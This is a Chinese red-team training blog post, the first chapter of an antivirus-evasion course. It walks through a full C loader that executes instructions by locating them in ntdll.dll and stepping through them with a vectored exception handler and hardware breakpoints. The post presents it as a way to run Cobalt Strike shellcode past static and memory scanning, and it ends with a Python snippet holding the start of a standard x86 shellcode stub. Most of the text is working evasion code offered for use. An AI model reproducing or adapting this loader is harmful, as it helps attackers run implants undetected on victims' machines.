前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >红队免杀培训第一章-不可执行的shellcode

红队免杀培训第一章-不可执行的shellcode

作者头像
Gamma实验室
发布2022-03-29 16:48:38
7090
发布2022-03-29 16:48:38
举报
文章被收录于专栏:Gamma安全实验室

前言

这里照常去做CS的免杀加载器的实现,因为用先有的c2框架是非常方便顺手,当然你自己开发的c2框架也行,肯定也有生成shellcode这个功能,也需要进行内存执行的需求。

今天要讲的这种原理是根据ntdll.dll先有的指令来执行我们的代码,恶意代码保存在于数据部分中,这种的好处是我们绕过了不可执行的内存保护,绕过了静态代码分析,这种技术有点pwn利用链的感觉,玩过的pwn都知道,我们去rop构造利用链的时候就是去找文件原有的汇编代码,通过地址来使用,达到我们想要组合利用的效果,这样的好处就是,我们运行的所有指令在内存中的地址都是分散的,起到对抗杀软内存扫描的效果,因为这种方式已经脱离了传统的分配可执行的内存空间,然后把shellcode放进去执行,没有可执行的分配内存区域可供扫描,免杀效果很好。

原理和准备

需要用的windows api

1.RtlAddVectoredExceptionHandler 这是用来添加自定义异常处理程序

工作流程:

1.创建一个包含我们要执行的所有汇编指令的数据结构。

  1. 在ntdll.dll的代码段中搜索上述每条指令并存储地址。
  2. 使用RtlAddVectoredExceptionHandler 在我们的程序中添加自定义异常处理程序
  3. 使用int 3 触发断点
  4. 程序现在已经进入了我们自定义的异常处理程序,存储原始线程上下文以供以后使用
  5. 将 EIP 寄存器设置为列表中的第一个目标指令(在ntdll.dll中)
  6. 如果当前指令是“调用”,则在调用后直接在指令上使用Dr0调试寄存器设置硬件断点——我们要“跳过”调用。否则,使用EFlags |= 0x100设置单步标志以中断下一条指令
  7. 更新当前指令所需的任何其他寄存器的值
  8. 使用EXCEPTION_CONTINUE_EXECUTION继续执行。下一条指令将引发另一个异常,我们将回到步骤 6 继续,直到所有指令都按顺序运行。
  9. 在所有目标指令执行完毕后,从步骤5恢复原始线程上下文以继续程序的原始流程。

简而言之,通过RtlAddVectoredExceptionHandler 在我们的程序中添加自定义异常处理程序,然后保存上下文,然后通过找到的汇编指令地址去执行,执行完毕后又引发异常处理程序,去执行其他指令,所有指令执行完毕之后,就直接恢复之前的保存的状态,而我们要执行的汇编指令是保存在结构体的。

参考代码(下面结构体保存着弹框的汇编代码实例):

代码语言:javascript
复制
InstructionEntryStruct Global_InstructionList[] =
{
// 使用 GlobalAlloc 为消息框标题分配 1kb 缓冲区
{ "push ecx", { 0x51 }, 1, 0, 0, 0, 1024, 0, 0, 0, FLAG_ECX },
{ "push ecx", { 0x51 }, 1, 0, 0, 0, GMEM_FIXED, 0, 0, 0, FLAG_ECX },
{ "call eax ; (GlobalAlloc)", { 0xFF, 0xD0 }, 2, 0, (DWORD)GlobalAlloc, 0, 0, 0, 0, 0, FLAG_EAX | FLAG_CALL },

// 设置弹框titie "gammalab"
{ "mov ebx, eax", { 0x8B, 0xD8 }, 2, 0, 0, 0, 0, 0, 0, 0, 0 },
{ "mov byte ptr [ebx], dl ; character: 'g' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'g', 0, 0, FLAG_EDX },
{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
{ "mov byte ptr [ebx], dl ; character: 'a' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'a', 0, 0, FLAG_EDX },
{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
{ "mov byte ptr [ebx], dl ; character: 'm' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'm', 0, 0, FLAG_EDX },
{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
{ "mov byte ptr [ebx], dl ; character: 'm' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'm', 0, 0, FLAG_EDX },
{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
{ "mov byte ptr [ebx], dl ; character: 'a' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'a', 0, 0, FLAG_EDX },
{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
{ "mov byte ptr [ebx], dl ; character: 'l' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'l', 0, 0, FLAG_EDX },
{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
{ "mov byte ptr [ebx], dl ; character: 'a' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'a', 0, 0, FLAG_EDX },
{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
{ "mov byte ptr [ebx], dl ; character: 'b' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'b', 0, 0, FLAG_EDX },
{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
{ "mov byte ptr [ebx], dl ; (null) ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, '\0', 0, 0, FLAG_EDX },
{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },

// 将消息框title ptr 存储在 edi 寄存器中
{ "mov edi, eax", { 0x8B, 0xF8 }, 2, 0, 0, 0, 0, 0, 0, 0, 0 },

//使用 GlobalAlloc 为消息框文本分配 1kb 缓冲区
{ "push ecx", { 0x51 }, 1, 0, 0, 0, 1024, 0, 0, 0, FLAG_ECX },
{ "push ecx", { 0x51 }, 1, 0, 0, 0, GMEM_FIXED, 0, 0, 0, FLAG_ECX },
{ "call eax ; (GlobalAlloc)", { 0xFF, 0xD0 }, 2, 0, (DWORD)GlobalAlloc, 0, 0, 0, 0, 0, FLAG_EAX | FLAG_CALL },

// 设置消息框文本内容为 "gammalabredteam"
{ "mov ebx, eax", { 0x8B, 0xD8 }, 2, 0, 0, 0, 0, 0, 0, 0, 0 },
{ "mov byte ptr [ebx], dl ; character: 'g' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'g', 0, 0, FLAG_EDX },
{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
{ "mov byte ptr [ebx], dl ; character: 'a' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'a', 0, 0, FLAG_EDX },
{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
{ "mov byte ptr [ebx], dl ; character: 'm' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'm', 0, 0, FLAG_EDX },
{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
{ "mov byte ptr [ebx], dl ; character: 'm' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'm', 0, 0, FLAG_EDX },
{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
{ "mov byte ptr [ebx], dl ; character: 'a' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'a', 0, 0, FLAG_EDX },
{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
{ "mov byte ptr [ebx], dl ; character: 'l' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'l', 0, 0, FLAG_EDX },
{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
{ "mov byte ptr [ebx], dl ; character: 'a' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'a', 0, 0, FLAG_EDX },
{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
{ "mov byte ptr [ebx], dl ; character: 'b' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'b', 0, 0, FLAG_EDX },
{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
{ "mov byte ptr [ebx], dl ; character: 'r' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'r', 0, 0, FLAG_EDX },
{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
{ "mov byte ptr [ebx], dl ; character: 'e' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'e', 0, 0, FLAG_EDX },
{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
{ "mov byte ptr [ebx], dl ; character: 'd' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'b', 0, 0, FLAG_EDX },
{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
{ "mov byte ptr [ebx], dl ; character: 't' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 't', 0, 0, FLAG_EDX },
{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
{ "mov byte ptr [ebx], dl ; character: 'e' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'e', 0, 0, FLAG_EDX },
{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
{ "mov byte ptr [ebx], dl ; character: 'a' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'a', 0, 0, FLAG_EDX },
{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
{ "mov byte ptr [ebx], dl ; character: 'm' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'm', 0, 0, FLAG_EDX },
{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
{ "mov byte ptr [ebx], dl ; (null) ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, '\0', 0, 0, FLAG_EDX },
{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },



// 调用MessageBoxA
{ "push ecx", { 0x51 }, 1, 0, 0, 0, MB_OK, 0, 0, 0, FLAG_ECX },
{ "push edi", { 0x57 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
{ "push eax", { 0x50 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
{ "push ecx", { 0x51 }, 1, 0, 0, 0, 0, 0, 0, 0, FLAG_ECX },
{ "call eax ; (MessageBoxA)", { 0xFF, 0xD0 }, 2, 0, (DWORD)MessageBoxA, 0, 0, 0, 0, 0, FLAG_EAX | FLAG_CALL },
};

可以看到结构头定义如下:

代码语言:javascript
复制
struct InstructionEntryStruct
{
char *pLabel;
BYTE bInstruction[16];
DWORD dwInstructionLength;
DWORD dwInstructionAddr;
DWORD dwEax;
DWORD dwEbx;
DWORD dwEcx;
DWORD dwEdx;
DWORD dwEdi;
DWORD dwEsi;
DWORD dwInstructionFlags;
};

pLabel:此字段仅用于记录/调试目的,到时候可以看到具体是哪条指令出错了

bInstruction:该字段包含汇编指令的操作码,例如push eax的 0x50

dwInstructionLength:bInstruction 字段的长度

dwInstructionAddr:此字段由程序填充 -扫描ntdll.dll以查找匹配指令的地址

dwEax / dwEbx / dwEcx / dwEdx / dwEdi / dwEsi 这些字段设置当前指令执行前的指定寄存器值。

dwInstructionFlags:该字段指定应该更新哪些寄存器值,它还用于指定当前指令是否为“调用”。

但是从ntdll.dll内存中找我们想要的代码是有局限性的,比如一些特殊数据,不能从现有的内存里面找到,这时候就需要在执行指令之前在异常处理程序中操作寄存器,更改寄存器的值。

实际代码示例

弹框的shellcode示例代码:

代码语言:javascript
复制
#include <stdio.h>
#include <windows.h>

#define FLAG_EAX 0x00000001
#define FLAG_EBX 0x00000002
#define FLAG_ECX 0x00000004
#define FLAG_EDX 0x00000008
#define FLAG_EDI 0x00000010
#define FLAG_ESI 0x00000020
#define FLAG_CALL 0x00000040

struct InstructionEntryStruct
{
const char* pLabel;
BYTE bInstruction[16];
DWORD dwInstructionLength;
DWORD dwInstructionAddr;
DWORD dwEax;
DWORD dwEbx;
DWORD dwEcx;
DWORD dwEdx;
DWORD dwEdi;
DWORD dwEsi;
DWORD dwInstructionFlags;
};
DWORD dwGlobal_CurrInstruction = 0;
CONTEXT Global_OrigContext;
InstructionEntryStruct Global_InstructionList[] =
{
// 使用 GlobalAlloc 为消息框标题分配 1kb 缓冲区
{ "push ecx", { 0x51 }, 1, 0, 0, 0, 1024, 0, 0, 0, FLAG_ECX },
{ "push ecx", { 0x51 }, 1, 0, 0, 0, GMEM_FIXED, 0, 0, 0, FLAG_ECX },
{ "call eax ; (GlobalAlloc)", { 0xFF, 0xD0 }, 2, 0, (DWORD)GlobalAlloc, 0, 0, 0, 0, 0, FLAG_EAX | FLAG_CALL },

// 设置弹框titie "gammalab"
{ "mov ebx, eax", { 0x8B, 0xD8 }, 2, 0, 0, 0, 0, 0, 0, 0, 0 },
{ "mov byte ptr [ebx], dl ; character: 'g' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'g', 0, 0, FLAG_EDX },
{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
{ "mov byte ptr [ebx], dl ; character: 'a' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'a', 0, 0, FLAG_EDX },
{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
{ "mov byte ptr [ebx], dl ; character: 'm' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'm', 0, 0, FLAG_EDX },
{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
{ "mov byte ptr [ebx], dl ; character: 'm' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'm', 0, 0, FLAG_EDX },
{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
{ "mov byte ptr [ebx], dl ; character: 'a' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'a', 0, 0, FLAG_EDX },
{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
{ "mov byte ptr [ebx], dl ; character: 'l' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'l', 0, 0, FLAG_EDX },
{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
{ "mov byte ptr [ebx], dl ; character: 'a' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'a', 0, 0, FLAG_EDX },
{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
{ "mov byte ptr [ebx], dl ; character: 'b' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'b', 0, 0, FLAG_EDX },
{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
{ "mov byte ptr [ebx], dl ; (null) ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, '\0', 0, 0, FLAG_EDX },
{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },

// 将消息框title ptr 存储在 edi 寄存器中
{ "mov edi, eax", { 0x8B, 0xF8 }, 2, 0, 0, 0, 0, 0, 0, 0, 0 },

//使用 GlobalAlloc 为消息框文本分配 1kb 缓冲区
{ "push ecx", { 0x51 }, 1, 0, 0, 0, 1024, 0, 0, 0, FLAG_ECX },
{ "push ecx", { 0x51 }, 1, 0, 0, 0, GMEM_FIXED, 0, 0, 0, FLAG_ECX },
{ "call eax ; (GlobalAlloc)", { 0xFF, 0xD0 }, 2, 0, (DWORD)GlobalAlloc, 0, 0, 0, 0, 0, FLAG_EAX | FLAG_CALL },

// 设置消息框文本内容为 "gammalabredteam"
{ "mov ebx, eax", { 0x8B, 0xD8 }, 2, 0, 0, 0, 0, 0, 0, 0, 0 },
{ "mov byte ptr [ebx], dl ; character: 'g' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'g', 0, 0, FLAG_EDX },
{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
{ "mov byte ptr [ebx], dl ; character: 'a' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'a', 0, 0, FLAG_EDX },
{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
{ "mov byte ptr [ebx], dl ; character: 'm' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'm', 0, 0, FLAG_EDX },
{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
{ "mov byte ptr [ebx], dl ; character: 'm' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'm', 0, 0, FLAG_EDX },
{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
{ "mov byte ptr [ebx], dl ; character: 'a' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'a', 0, 0, FLAG_EDX },
{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
{ "mov byte ptr [ebx], dl ; character: 'l' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'l', 0, 0, FLAG_EDX },
{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
{ "mov byte ptr [ebx], dl ; character: 'a' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'a', 0, 0, FLAG_EDX },
{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
{ "mov byte ptr [ebx], dl ; character: 'b' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'b', 0, 0, FLAG_EDX },
{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
{ "mov byte ptr [ebx], dl ; character: 'r' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'r', 0, 0, FLAG_EDX },
{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
{ "mov byte ptr [ebx], dl ; character: 'e' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'e', 0, 0, FLAG_EDX },
{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
{ "mov byte ptr [ebx], dl ; character: 'd' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'b', 0, 0, FLAG_EDX },
{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
{ "mov byte ptr [ebx], dl ; character: 't' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 't', 0, 0, FLAG_EDX },
{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
{ "mov byte ptr [ebx], dl ; character: 'e' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'e', 0, 0, FLAG_EDX },
{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
{ "mov byte ptr [ebx], dl ; character: 'a' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'a', 0, 0, FLAG_EDX },
{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
{ "mov byte ptr [ebx], dl ; character: 'm' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'm', 0, 0, FLAG_EDX },
{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
{ "mov byte ptr [ebx], dl ; (null) ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, '\0', 0, 0, FLAG_EDX },
{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },



// 调用MessageBoxA
{ "push ecx", { 0x51 }, 1, 0, 0, 0, MB_OK, 0, 0, 0, FLAG_ECX },
{ "push edi", { 0x57 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
{ "push eax", { 0x50 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
{ "push ecx", { 0x51 }, 1, 0, 0, 0, 0, 0, 0, 0, FLAG_ECX },
{ "call eax ; (MessageBoxA)", { 0xFF, 0xD0 }, 2, 0, (DWORD)MessageBoxA, 0, 0, 0, 0, 0, FLAG_EAX | FLAG_CALL },
};

LONG WINAPI ExceptionHandler(EXCEPTION_POINTERS* pExceptionInfo)
{
InstructionEntryStruct* pCurrInstruction = NULL;

// 确保这是一个断点/单步异常
if (pExceptionInfo->ExceptionRecord->ExceptionCode != STATUS_BREAKPOINT && pExceptionInfo->ExceptionRecord->ExceptionCode != STATUS_SINGLE_STEP)
{
        // 这不是我们预期的异常,所以将此异常传递给下一个处理程序
        return EXCEPTION_CONTINUE_SEARCH;
}
// 重置硬件断点
pExceptionInfo->ContextRecord->Dr0 = 0;
pExceptionInfo->ContextRecord->Dr7 = 0;

if (dwGlobal_CurrInstruction == 0)
{
        // 存储原始上下文
        memcpy((void*)&Global_OrigContext, (void*)pExceptionInfo->ContextRecord, sizeof(CONTEXT));
}
else if (dwGlobal_CurrInstruction >= (sizeof(Global_InstructionList) / sizeof(Global_InstructionList[0])))
{
        // 完成执行所有指令 - 恢复原始上下文
        memcpy((void*)pExceptionInfo->ContextRecord, (void*)&Global_OrigContext, sizeof(CONTEXT));

        // 移动到下一条指令(在 int3 之后)
        pExceptionInfo->ContextRecord->Eip++;

        // 继续执行
        return EXCEPTION_CONTINUE_EXECUTION;
}

// 获取当前指令入口
pCurrInstruction = &Global_InstructionList[dwGlobal_CurrInstruction];


// 将指令 ptr 设置为下一条指令
pExceptionInfo->ContextRecord->Eip = pCurrInstruction->dwInstructionAddr;

// 检查注册标志
if (pCurrInstruction->dwInstructionFlags & FLAG_EAX)
{
        //设置eax
        printf("<InternalExHandler> mov eax, 0x%x\n", pCurrInstruction->dwEax);
        pExceptionInfo->ContextRecord->Eax = pCurrInstruction->dwEax;
}
else if (pCurrInstruction->dwInstructionFlags & FLAG_EBX)
{
        // 设置 ebx
        printf("<InternalExHandler> mov ebx, 0x%x\n", pCurrInstruction->dwEbx);
        pExceptionInfo->ContextRecord->Ebx = pCurrInstruction->dwEbx;
}
else if (pCurrInstruction->dwInstructionFlags & FLAG_ECX)
{
        // 设置 ecx
        printf("<InternalExHandler> mov ecx, 0x%x\n", pCurrInstruction->dwEcx);
        pExceptionInfo->ContextRecord->Ecx = pCurrInstruction->dwEcx;
}
else if (pCurrInstruction->dwInstructionFlags & FLAG_EDX)
{
        // 设置 edx
        printf("<InternalExHandler> mov edx, 0x%x\n", pCurrInstruction->dwEdx);
        pExceptionInfo->ContextRecord->Edx = pCurrInstruction->dwEdx;
}
else if (pCurrInstruction->dwInstructionFlags & FLAG_EDI)
{
        // 设置 edi
        printf("<InternalExHandler> mov edi, 0x%x\n", pCurrInstruction->dwEdi);
        pExceptionInfo->ContextRecord->Edi = pCurrInstruction->dwEdi;
}
else if (pCurrInstruction->dwInstructionFlags & FLAG_ESI)
{
        // 设置 esi
        printf("<InternalExHandler> mov esi, 0x%x\n", pCurrInstruction->dwEsi);
        pExceptionInfo->ContextRecord->Esi = pCurrInstruction->dwEsi;
}

// 打印当前指令标签
printf("<ntdll: 0x%08X> %s\n", pCurrInstruction->dwInstructionAddr, pCurrInstruction->pLabel);

// 检查这是否是“呼叫”指令
if (pCurrInstruction->dwInstructionFlags & FLAG_CALL)
{
        // 在“调用”之后的第一条指令上设置硬件断点
        pExceptionInfo->ContextRecord->Dr0 = pCurrInstruction->dwInstructionAddr + pCurrInstruction->dwInstructionLength;
        pExceptionInfo->ContextRecord->Dr7 = 1;
}
else
{
        // 一小步
        pExceptionInfo->ContextRecord->EFlags |= 0x100;
}
//移动到下一条指令
dwGlobal_CurrInstruction++;
//继续执行
return EXCEPTION_CONTINUE_EXECUTION;
}

DWORD GetModuleCodeSection(DWORD dwModuleBase, DWORD* pdwCodeSectionStart, DWORD* pdwCodeSectionLength)
{
IMAGE_DOS_HEADER* pDosHeader = NULL;
IMAGE_NT_HEADERS* pNtHeader = NULL;
IMAGE_SECTION_HEADER* pCurrSectionHeader = NULL;
char szCurrSectionName[16];
DWORD dwFound = 0;
DWORD dwCodeSectionStart = 0;
DWORD dwCodeSectionLength = 0;
// 获取dos header ptr(模块开始)
pDosHeader = (IMAGE_DOS_HEADER*)dwModuleBase;
if (pDosHeader->e_magic != IMAGE_DOS_SIGNATURE)
{
        return 1;
}
// 获取nt头指针
pNtHeader = (IMAGE_NT_HEADERS*)((BYTE*)pDosHeader + pDosHeader->e_lfanew);
if (pNtHeader->Signature != IMAGE_NT_SIGNATURE)
{
        return 1;
}
// 循环遍历所有部分
for (DWORD i = 0; i < pNtHeader->FileHeader.NumberOfSections; i++)
{
        // 获取当前节标题
        pCurrSectionHeader = (IMAGE_SECTION_HEADER*)((BYTE*)pNtHeader + sizeof(IMAGE_NT_HEADERS) + (i * sizeof(IMAGE_SECTION_HEADER)));

        // pCurrSectionHeader->如果使用了所有 8 个字符,则名称不以 null 结尾 - 将其复制到更大的本地缓冲区
        memset(szCurrSectionName, 0, sizeof(szCurrSectionName));
        memcpy(szCurrSectionName, pCurrSectionHeader->Name, sizeof(pCurrSectionHeader->Name));

        // 检查这是否是主要代码部分
        if (strcmp(szCurrSectionName, ".text") == 0)
        {
            // 找到代码段
            dwFound = 1;
            dwCodeSectionStart = dwModuleBase + pCurrSectionHeader->VirtualAddress;
            dwCodeSectionLength = pCurrSectionHeader->SizeOfRawData;
            break;
        }
}

// 确保找到代码部分
if (dwFound == 0)
{
        return 1;
}
// 存储值
*pdwCodeSectionStart = dwCodeSectionStart;
*pdwCodeSectionLength = dwCodeSectionLength;
return 0;
}

DWORD ScanForInstructions()
{
DWORD dwInstructionCount = 0;
DWORD dwCurrSearchPos = 0;
DWORD dwBytesRemaining = 0;
DWORD dwFoundAddr = 0;
DWORD dwCodeSectionStart = 0;
DWORD dwCodeSectionLength = 0;

// 计算指令数
dwInstructionCount = sizeof(Global_InstructionList) / sizeof(Global_InstructionList[0]);

// 查找ntdll代码段范围
if (GetModuleCodeSection((DWORD)GetModuleHandle("ntdll.dll"), &dwCodeSectionStart, &dwCodeSectionLength) != 0)
{
        printf("1111");
        return 1;
}

// 扫描指令
for (DWORD i = 0; i < dwInstructionCount; i++)
{
        // 检查是否已经找到该指令的地址
        if (Global_InstructionList[i].dwInstructionAddr != 0)
        {
            continue;
        }
        // 在 ntdll 代码部分找到这条指令
        dwCurrSearchPos = dwCodeSectionStart;
        dwBytesRemaining = dwCodeSectionLength;
        dwFoundAddr = 0;
        for (;;)
        {
            // 检查是否已到达代码段的末尾
            if (Global_InstructionList[i].dwInstructionLength > dwBytesRemaining)
            {
                break;
            }
            // 检查指令是否存在于此处
            if (memcmp((void*)dwCurrSearchPos, (void*)Global_InstructionList[i].bInstruction, Global_InstructionList[i].dwInstructionLength) == 0)
            {
                dwFoundAddr = dwCurrSearchPos;
                break;
            }

            // 更新搜索索引
            dwCurrSearchPos++;
            dwBytesRemaining--;
        }

        // 确保找到操作码
        if (dwFoundAddr == 0)
        {
            printf("Error: Instruction not found in ntdll: '%s'\n", Global_InstructionList[i].pLabel);

            return 1;
        }

        // store 地址
        Global_InstructionList[i].dwInstructionAddr = dwFoundAddr;

        // 将此指令地址复制到列表中的任何其他匹配指令
        for (DWORD ii = 0; ii < dwInstructionCount; ii++)
        {
            // 检查指令长度是否匹配
            if (Global_InstructionList[ii].dwInstructionLength == Global_InstructionList[i].dwInstructionLength)
            {
                // 检查指令操作码是否匹配
                if (memcmp(Global_InstructionList[ii].bInstruction, Global_InstructionList[i].bInstruction, Global_InstructionList[i].dwInstructionLength) == 0)
                {
                    // 复制指令地址
                    Global_InstructionList[ii].dwInstructionAddr = Global_InstructionList[i].dwInstructionAddr;
                }
            }
        }
}
return 0;
}

int main()
{
PVOID(WINAPI * RtlAddVectoredExceptionHandler)(DWORD dwFirstHandler, void* pExceptionHandler);
DWORD dwThreadID = 0;
HANDLE hThread = NULL;
// 获取 RtlAddVectoredExceptionHandler 函数 ptr
RtlAddVectoredExceptionHandler = (void* (__stdcall*)(unsigned long, void*))GetProcAddress(GetModuleHandle("ntdll.dll"), "RtlAddVectoredExceptionHandler");
if (RtlAddVectoredExceptionHandler == NULL)
{
        return 1;
}

// 添加异常处理程序
if (RtlAddVectoredExceptionHandler(1, (void*)ExceptionHandler) == NULL)
{
        return 1;
}

// 扫描 ntdll 填充指令列表
if (ScanForInstructions() != 0)
{
        return 1;
}

//触发异常处理程序的断点
_asm int 3
return 0;
}

效果展示:

那么类推,我们把cs的shellcode转换成汇编,然后放入结构体,那么就能上线。

这里就不放我的实际免杀加载器的代码了,很简单,只需要把shellcode转换成汇编代码,填充进去就行.

把shellcode转换成汇编代码可以参考以下python代码,使用capstone库:

代码语言:javascript
复制
from capstone import *
shellcode = ""
shellcode += "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b"
shellcode += "\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7"
shellcode += "\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf"
shellcode += "\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c"
shellcode += "\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01"
shellcode += "\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31"
shellcode += "\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d"
shellcode += "\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66"
shellcode += "\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0"
shellcode += "\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f"
shellcode += "\x5f\x5a\x8b\x12\xeb\x8d\x5d\x68\x33\x32\x00\x00\x68"
